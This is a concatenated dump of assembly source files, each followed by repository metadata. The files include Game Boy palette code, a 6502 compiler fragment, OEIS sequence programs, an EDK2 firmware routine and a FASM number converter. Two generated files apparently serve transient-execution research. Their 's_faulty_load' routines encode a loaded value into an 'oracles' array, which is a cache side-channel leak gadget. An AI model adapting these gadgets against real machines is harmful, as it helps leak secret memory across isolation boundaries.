a, [rSVBK] push af ld a, BANK(wOBPals2) ldh [rSVBK], a ld hl, wOBPals2 palette 0 ld de, wOBPals1 palette 0 ldh a, [rOBP0] ld b, a ld c, 1 call CopyPals ld a, 1 ldh [hCGBPalUpdate], a pop af ldh [rSVBK], a pop bc pop de pop hl .dmg pop af ret DmgToCgbObjPal1:: ldh [rOBP1], a push af ldh a, [hCGB] and a jr z, .dmg push hl push de push bc ldh a, [rSVBK] push af ld a, BANK(wOBPals2) ldh [rSVBK], a ld hl, wOBPals2 palette 1 ld de, wOBPals1 palette 1 ldh a, [rOBP1] ld b, a ld c, 1 call CopyPals ld a, 1 ldh [hCGBPalUpdate], a pop af ldh [rSVBK], a pop bc pop de pop hl .dmg pop af ret CopyPals:: ; copy c palettes in order b from de to hl push bc ld c, NUM_PAL_COLORS .loop push de push hl ; get pal color ld a, b maskbits 1 << PAL_COLOR_SIZE ; 2 bytes per color add a ld l, a ld h, 0 add hl, de ld e, [hl] inc hl ld d, [hl] ; dest pop hl ; write color ld [hl], e inc hl ld [hl], d inc hl ; next pal color rept PAL_COLOR_SIZE srl b endr ; source pop de ; done pal? dec c jr nz, .loop ; de += 8 (next pal) ld a, PALETTE_SIZE add e jr nc, .ok inc d .ok ld e, a ; how many more pals? pop bc dec c jr nz, CopyPals ret ClearVBank1:: ldh a, [hCGB] and a ret z ld a, 1 ldh [rVBK], a ld hl, VRAM_Begin ld bc, VRAM_End - VRAM_Begin xor a call ByteFill xor a ldh [rVBK], a ret ReloadSpritesNoPalettes:: ldh a, [hCGB] and a ret z ldh a, [rSVBK] push af ld a, BANK(wBGPals2) ldh [rSVBK], a ld hl, wBGPals2 ld bc, (8 palettes) + (2 palettes) xor a call ByteFill pop af ldh [rSVBK], a ld a, 1 ldh [hCGBPalUpdate], a jp DelayFrame FarCallSwapTextboxPalettes:: homecall SwapTextboxPalettes ret FarCallScrollBGMapPalettes:: homecall ScrollBGMapPalettes ret LoadPalette_Mon:: ldh a, [hROMBank] push af ld a, BANK(PokemonPalettes) ; also BANK(TrainerPalettes) rst Bankswitch ldh a, [rSVBK] push af ld a, BANK(wBGPals1) ldh [rSVBK], a ld a, LOW(PALRGB_WHITE) ld [de], a inc de ld a, HIGH(PALRGB_WHITE) ld [de], a inc de ld c, 2 * PAL_COLOR_SIZE .loop ld a, [hli] ld [de], a inc de dec c jr nz, .loop xor a ld [de], a inc de ld [de], a inc de pop af ldh [rSVBK], a pop af rst Bankswitch ret
11.969697
57
0.643959
e8abe5e7cedcbd35f96530f87d143e0f4dda0f34
57
asm
Assembly
src/main/fragment/mos6502-common/_deref_pvoc1=pvoc2_derefidx_vbuyy_memcpy_vbuc3.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/main/fragment/mos6502-common/_deref_pvoc1=pvoc2_derefidx_vbuyy_memcpy_vbuc3.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/main/fragment/mos6502-common/_deref_pvoc1=pvoc2_derefidx_vbuyy_memcpy_vbuc3.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
ldx #0 !: lda {c2},y sta {c1},x iny inx cpx #{c3} bne !-
6.333333
10
0.526316
fc67636395cf94401583644a802876c908e52453
6,283
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_7_983.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_7_983.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_7_983.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r13 push %r8 push %rax push %rcx push %rdi push %rsi lea addresses_UC_ht+0x15ba0, %r11 nop nop nop dec %r12 mov (%r11), %rax nop nop nop nop inc %r11 lea addresses_normal_ht+0xed16, %rax nop nop nop nop sub %r11, %r11 movups (%rax), %xmm3 vpextrq $1, %xmm3, %r13 nop nop nop nop nop add %r8, %r8 lea addresses_WC_ht+0x109e, %r10 nop nop nop nop xor $46716, %r13 movw $0x6162, (%r10) nop nop dec %rax lea addresses_D_ht+0x1379e, %r11 nop nop nop nop nop and $12631, %r13 movb $0x61, (%r11) nop nop sub %r12, %r12 lea addresses_D_ht+0xf9e, %rsi lea addresses_normal_ht+0x1839e, %rdi nop mfence mov $11, %rcx rep movsq sub %r8, %r8 lea addresses_normal_ht+0x5486, %rsi lea addresses_normal_ht+0x1379e, %rdi nop nop inc %r13 mov $63, %rcx rep movsw nop nop nop nop nop sub %r13, %r13 lea addresses_WC_ht+0x1a19e, %rdi nop nop nop nop and $47285, %rsi movb $0x61, (%rdi) nop nop nop nop and %r8, %r8 lea addresses_D_ht+0x1dfaa, %rsi lea addresses_D_ht+0x1d59e, %rdi clflush (%rsi) nop nop nop nop nop sub $10884, %r11 mov $112, %rcx rep movsb nop nop nop cmp %r11, %r11 lea addresses_WC_ht+0x9dbe, %rsi lea addresses_normal_ht+0x11d46, %rdi nop nop add $19427, %rax mov $56, %rcx rep movsl nop nop nop nop nop cmp $6742, %rdi lea addresses_normal_ht+0x4f9e, %r11 nop nop nop nop nop cmp $33253, %r8 mov (%r11), %r12w nop nop nop nop nop add %rcx, %rcx lea addresses_A_ht+0xc99e, %r11 clflush (%r11) nop nop nop and %rax, %rax mov $0x6162636465666768, %rsi movq %rsi, %xmm2 and $0xffffffffffffffc0, %r11 vmovaps %ymm2, (%r11) nop nop nop nop nop add $14969, %rcx lea addresses_WT_ht+0x9b9e, %rsi lea addresses_WT_ht+0x1b9e, %rdi and %r13, %r13 mov $78, %rcx rep movsl nop nop nop sub $47913, %rdi pop %rsi pop %rdi pop %rcx pop %rax pop %r8 pop %r13 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r9 push %rcx push %rdi push %rdx push %rsi // Store lea addresses_normal+0xa6fe, %r9 nop nop nop xor $17948, %r14 movb $0x51, (%r9) nop cmp $28719, %r14 // Load lea addresses_normal+0x1c41e, %rdi nop nop nop nop and %rdx, %rdx mov (%rdi), %cx nop nop nop nop inc %rdx // Store lea addresses_UC+0xf12c, %rsi nop sub $9465, %r13 mov $0x5152535455565758, %rdi movq %rdi, %xmm2 movups %xmm2, (%rsi) nop dec %r14 // Store lea addresses_WC+0x1e29e, %rsi nop nop dec %rcx movl $0x51525354, (%rsi) nop nop nop xor %r9, %r9 // Load lea addresses_UC+0xac26, %r9 nop sub $34319, %r13 vmovups (%r9), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $1, %xmm4, %rdi nop nop dec %r9 // Store lea addresses_normal+0x19d9e, %r9 nop nop add %r13, %r13 mov $0x5152535455565758, %rcx movq %rcx, %xmm2 vmovntdq %ymm2, (%r9) nop nop nop add $26443, %rdi // Store lea addresses_normal+0x1e73e, %rdi nop nop nop nop and %rsi, %rsi movb $0x51, (%rdi) nop nop nop nop and %rdi, %rdi // Load lea addresses_UC+0xeb4b, %rdx clflush (%rdx) nop nop nop nop xor $7210, %r13 vmovups (%rdx), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $0, %xmm6, %rcx nop nop nop dec %rdx // Faulty Load lea addresses_normal+0x16f9e, %rdx nop nop add %r14, %r14 mov (%rdx), %esi lea oracles, %r14 and $0xff, %rsi shlq $12, %rsi mov (%r14,%rsi,1), %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %r9 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': True}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}} {'34': 7} 34 34 34 34 34 34 34 */
19.273006
157
0.651122
1a200bae6900a45215de0fecc0cf43fcd6a593d6
2,384
asm
Assembly
dec_bin_2.asm
rgimad/fasm_programs
f6739ea19d5a3cdc759d902971a889eda5e98e9a
[ "MIT" ]
8
2021-03-23T05:24:56.000Z
2021-11-29T08:56:33.000Z
dec_bin_2.asm
rgimad/fasm_programs
f6739ea19d5a3cdc759d902971a889eda5e98e9a
[ "MIT" ]
null
null
null
dec_bin_2.asm
rgimad/fasm_programs
f6739ea19d5a3cdc759d902971a889eda5e98e9a
[ "MIT" ]
1
2021-09-18T07:26:29.000Z
2021-09-18T07:26:29.000Z
format PE64 Console 5.0 entry _main include 'C:\Program Files (x86)\fasmw17322\INCLUDE\win64a.inc' ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; section '.text' code readable executable _main: mov rbp, rsp; for correct debugging cinvoke printf, "Enter a decimal positive number: " cinvoke scanf, <"%d">, x_dec push x_bin push [x_dec] call dec_to_bin add esp, 16 cinvoke printf, <"Result: %d = %s", 13, 10, 13, 10>, [x_dec], x_bin jmp _main Exit: ; exit from program invoke ExitProcess, 0 ;;;;;;;;;;;;;;;;;;;;;;;; dec_to_bin: ; void dec_to_bin(int x, char *str) push rbp mov rbp, rsp xor rcx, rcx mov ecx, 32 ; len = 32 while1: mov eax, 1 mov ebx, ecx sub ebx, 1 ; ebx = len - 1 push rcx mov ecx, ebx shl eax, cl ; eax = 1 << (len - 1) pop rcx mov rbx, [rbp + 16] ; rbx = x and eax, ebx cmp eax, 0 jne end_while1 cmp ecx, 1 jbe end_while1 dec ecx jmp while1 end_while1: mov rax, [rbp + 24] mov byte [rax + rcx], 0 xor rdx, rdx ; i = 0 ;mov edx, 0 ; i = 0 while2: cmp edx, ecx jae end_while2 mov eax, 1 mov ebx, ecx sub ebx, edx sub ebx, 1 push rcx mov ecx, ebx shl eax, cl pop rcx mov rbx, [rbp + 16] and eax, ebx cmp eax, 0 jne .append1 .append0: mov rax, [rbp + 24] mov byte [rax + rdx], 48 jmp .endif1 .append1: mov rax, [rbp + 24] mov byte [rax + rdx], 49 .endif1: inc edx jmp while2 end_while2: ;leave mov rsp, rbp pop rbp ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; section '.data' data readable writeable ; db - reserve byte, dw - reserve word, dd - reserve dword, dq - reserve qword x_dec dq ? ; int x_dec x_bin db 30 dup(?) ; char x_bin[30]; tmp dq ? ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;section '.bss' readable writeable ; statically-allocated variables that are not explicitly initialized to any value ; readBuf db ? ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; section '.idata' import data readable library msvcrt,'MSVCRT.DLL',\ kernel,'KERNEL32.DLL' import kernel,\ ExitProcess, 'ExitProcess' import msvcrt,\ puts,'puts',\ scanf,'scanf',\ printf,'printf',\ getchar,'getchar',\ system,'system',\ exit,'exit'
18.198473
116
0.535235
2f424ed52a47a1463af25c3c13e9826054e56e99
274
asm
Assembly
oeis/054/A054977.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/054/A054977.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/054/A054977.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A054977: a(0)=2, a(n)=1, n >= 1. ; Submitted by Christian Krause ; 2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 cmp $0,0 add $0,1
39.142857
187
0.525547
b328e69a34824e18e4616fb4eea659a41032e709
642
asm
Assembly
oeis/081/A081554.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/081/A081554.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/081/A081554.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A081554: a(n) = sqrt(2)*( (3+2*sqrt(2))^n - (3-2*sqrt(2))^n ). ; 0,8,48,280,1632,9512,55440,323128,1883328,10976840,63977712,372889432,2173358880,12667263848,73830224208,430314081400,2508054264192,14618011503752,85200014758320,496582077046168,2894292447518688,16869172608065960,98320743200877072,573055286597196472,3340010976382301760,19467010571696614088,113462052453797382768,661305304151087682520,3854369772452728712352,22464913330565284591592,130935110210938978837200,763145747935068588431608,4447939377399472551752448,25924490516461766722083080 mov $2,2 lpb $0 sub $0,1 add $1,$2 add $2,$1 add $2,$1 add $1,$2 lpe mov $0,$1
49.384615
486
0.814642
e1c8344de185bb5f0781a4dc14f90345def565cb
2,153
asm
Assembly
UefiCpuPkg/ResetVector/Vtf0/Ia32/SearchForBfvBase.asm
KaoTuz/edk2-stable202108
49d9306e7bf64b2f07d8473be1f2faea49d0a012
[ "Python-2.0", "Zlib", "BSD-2-Clause", "MIT", "BSD-2-Clause-Patent", "BSD-3-Clause" ]
9
2021-07-26T17:02:51.000Z
2021-12-30T10:49:46.000Z
UefiCpuPkg/ResetVector/Vtf0/Ia32/SearchForBfvBase.asm
ESdove/edk2_exploring
34ff32b45f43d233d9696e7c8e3de68ea3000a7b
[ "Python-2.0", "Zlib", "BSD-2-Clause", "MIT", "BSD-2-Clause-Patent", "BSD-3-Clause" ]
null
null
null
UefiCpuPkg/ResetVector/Vtf0/Ia32/SearchForBfvBase.asm
ESdove/edk2_exploring
34ff32b45f43d233d9696e7c8e3de68ea3000a7b
[ "Python-2.0", "Zlib", "BSD-2-Clause", "MIT", "BSD-2-Clause-Patent", "BSD-3-Clause" ]
null
null
null
;------------------------------------------------------------------------------ ; @file ; Search for the Boot Firmware Volume (BFV) base address ; ; Copyright (c) 2008 - 2009, Intel Corporation. All rights reserved.<BR> ; SPDX-License-Identifier: BSD-2-Clause-Patent ; ;------------------------------------------------------------------------------ ;#define EFI_FIRMWARE_FILE_SYSTEM2_GUID \ ; { 0x8c8ce578, 0x8a3d, 0x4f1c, { 0x99, 0x35, 0x89, 0x61, 0x85, 0xc3, 0x2d, 0xd3 } } %define FFS_GUID_DWORD0 0x8c8ce578 %define FFS_GUID_DWORD1 0x4f1c8a3d %define FFS_GUID_DWORD2 0x61893599 %define FFS_GUID_DWORD3 0xd32dc385 BITS 32 ; ; Modified: EAX, EBX ; Preserved: EDI, ESP ; ; @param[out] EBP Address of Boot Firmware Volume (BFV) ; Flat32SearchForBfvBase: xor eax, eax searchingForBfvHeaderLoop: ; ; We check for a firmware volume at every 4KB address in the top 16MB ; just below 4GB. (Addresses at 0xffHHH000 where H is any hex digit.) ; sub eax, 0x1000 cmp eax, 0xff000000 jb searchedForBfvHeaderButNotFound ; ; Check FFS GUID ; cmp dword [eax + 0x10], FFS_GUID_DWORD0 jne searchingForBfvHeaderLoop cmp dword [eax + 0x14], FFS_GUID_DWORD1 jne searchingForBfvHeaderLoop cmp dword [eax + 0x18], FFS_GUID_DWORD2 jne searchingForBfvHeaderLoop cmp dword [eax + 0x1c], FFS_GUID_DWORD3 jne searchingForBfvHeaderLoop ; ; Check FV Length ; cmp dword [eax + 0x24], 0 jne searchingForBfvHeaderLoop mov ebx, eax add ebx, dword [eax + 0x20] jnz searchingForBfvHeaderLoop jmp searchedForBfvHeaderAndItWasFound searchedForBfvHeaderButNotFound: ; ; Hang if the SEC entry point was not found ; debugShowPostCode POSTCODE_BFV_NOT_FOUND ; ; 0xbfbfbfbf in the EAX & EBP registers helps signal what failed ; for debugging purposes. ; mov eax, 0xBFBFBFBF mov ebp, eax jmp $ searchedForBfvHeaderAndItWasFound: mov ebp, eax debugShowPostCode POSTCODE_BFV_FOUND OneTimeCallRet Flat32SearchForBfvBase
26.580247
85
0.630748
7917d7b2dc27eec2feb7b2142e30d3e7ab062285
694
asm
Assembly
oeis/127/A127918.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/127/A127918.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/127/A127918.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A127918: Half of product of three numbers: n-th prime, previous and following number. ; Submitted by Jon Maiga ; 3,12,60,168,660,1092,2448,3420,6072,12180,14880,25308,34440,39732,51888,74412,102660,113460,150348,178920,194472,246480,285852,352440,456288,515100,546312,612468,647460,721392,1024128,1123980,1285608,1342740,1653900,1721400,1934868,2165292,2328648,2588772,2867580,2964780,3483840,3594432,3822588,3940200,4696860,5544672,5848428,6004380,6324552,6825840,6998640,7906500,8487168,9095592,9732420,9951120,10626828,11093880,11332452,12576732,14467068,15039960,15331992,15927348,18132180,19136208,20890788 seq $0,40 ; The prime numbers. mov $1,$0 pow $1,3 sub $1,$0 mov $0,$1 div $0,2
63.090909
500
0.811239
1e2656bcd8da6fab063235163e07cc2606105362
203
asm
Assembly
hw4/str_len_test.asm
Cyfurion/CSE220
81dba7e7557e4812104f4b605819732e321bd58a
[ "Unlicense" ]
null
null
null
hw4/str_len_test.asm
Cyfurion/CSE220
81dba7e7557e4812104f4b605819732e321bd58a
[ "Unlicense" ]
null
null
null
hw4/str_len_test.asm
Cyfurion/CSE220
81dba7e7557e4812104f4b605819732e321bd58a
[ "Unlicense" ]
null
null
null
# add test cases to data section .data str1: .asciiz "Ali Tourre" .text: main: la $a0, str1 jal str_len #write test code move $a0, $v0 li $v0, 1 syscall li $v0, 10 syscall .include "hw4.asm"
11.941176
32
0.655172
9429a6ea60e38ed8123c891adb5e9ae4a86406ff
7,568
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_542.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_542.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_542.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r8 push %r9 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0xb4ac, %r11 nop nop nop add %rbp, %rbp movw $0x6162, (%r11) nop nop nop nop nop add %r8, %r8 lea addresses_A_ht+0xc7ec, %rsi lea addresses_WT_ht+0xdae4, %rdi nop nop nop nop nop inc %rdx mov $30, %rcx rep movsq nop nop nop sub $20764, %rcx lea addresses_A_ht+0x18b6c, %r9 nop nop and $39678, %rbp mov (%r9), %si sub %rbp, %rbp lea addresses_WC_ht+0x4cc4, %rdx add $61712, %rbp movb $0x61, (%rdx) nop nop dec %rcx lea addresses_D_ht+0x66c, %r11 nop nop nop nop nop cmp $61234, %rdi movl $0x61626364, (%r11) sub $59397, %rdx lea addresses_UC_ht+0x1a56c, %rsi lea addresses_D_ht+0xc928, %rdi clflush (%rsi) nop nop and %rbp, %rbp mov $36, %rcx rep movsq nop nop nop sub %rsi, %rsi lea addresses_A_ht+0x70ac, %rsi lea addresses_A_ht+0x11c32, %rdi nop nop cmp %r9, %r9 mov $47, %rcx rep movsq and $33240, %rcx lea addresses_D_ht+0x943c, %rsi lea addresses_normal_ht+0x39ac, %rdi nop nop nop nop nop dec %rdx mov $126, %rcx rep movsw nop and %r9, %r9 lea addresses_UC_ht+0x328a, %rdx clflush (%rdx) add %r8, %r8 mov $0x6162636465666768, %r11 movq %r11, (%rdx) nop nop nop xor %rdi, %rdi lea addresses_WT_ht+0x108ac, %rsi nop cmp $10846, %r11 vmovups (%rsi), %ymm1 vextracti128 $1, %ymm1, %xmm1 vpextrq $1, %xmm1, %rcx nop nop nop nop xor %rdi, %rdi lea addresses_WC_ht+0x88ac, %r9 nop nop nop nop nop and %rdx, %rdx movl $0x61626364, (%r9) nop nop nop nop cmp $2652, %r9 lea addresses_UC_ht+0x1273c, %rsi lea addresses_D_ht+0x8020, %rdi nop nop nop nop nop add $38591, %r8 mov $61, %rcx rep movsq nop and %rsi, %rsi lea addresses_UC_ht+0xa6ac, %r8 nop nop nop nop sub %rdi, %rdi mov $0x6162636465666768, %r9 movq %r9, %xmm2 vmovups %ymm2, (%r8) nop nop nop inc %r8 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r9 pop %r8 pop %r11 ret .global s_faulty_load s_faulty_load: push %r15 push %r8 push %r9 push %rbp push %rcx push %rdi push %rsi // REPMOV lea addresses_WT+0x109fc, %rsi lea addresses_normal+0x1452a, %rdi nop cmp %rbp, %rbp mov $93, %rcx rep movsw nop nop and $52944, %rbp // Faulty Load lea addresses_RW+0x70ac, %r15 cmp %r9, %r9 mov (%r15), %si lea oracles, %rdi and $0xff, %rsi shlq $12, %rsi mov (%rdi,%rsi,1), %rsi pop %rsi pop %rdi pop %rcx pop %rbp pop %r9 pop %r8 pop %r15 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 16, 'type': 'addresses_RW', 'congruent': 0}} {'dst': {'same': False, 'congruent': 1, 'type': 'addresses_normal'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_WT'}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_RW', 'congruent': 0}} <gen_prepare_buffer> {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_normal_ht', 'congruent': 9}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_A_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_A_ht', 'congruent': 6}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WC_ht', 'congruent': 3}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_D_ht', 'congruent': 5}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 0, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_UC_ht'}} {'dst': {'same': False, 'congruent': 1, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}} {'dst': {'same': False, 'congruent': 8, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_D_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_UC_ht', 'congruent': 1}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WT_ht', 'congruent': 9}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WC_ht', 'congruent': 11}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 0, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_UC_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_UC_ht', 'congruent': 9}, 'OP': 'STOR'} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 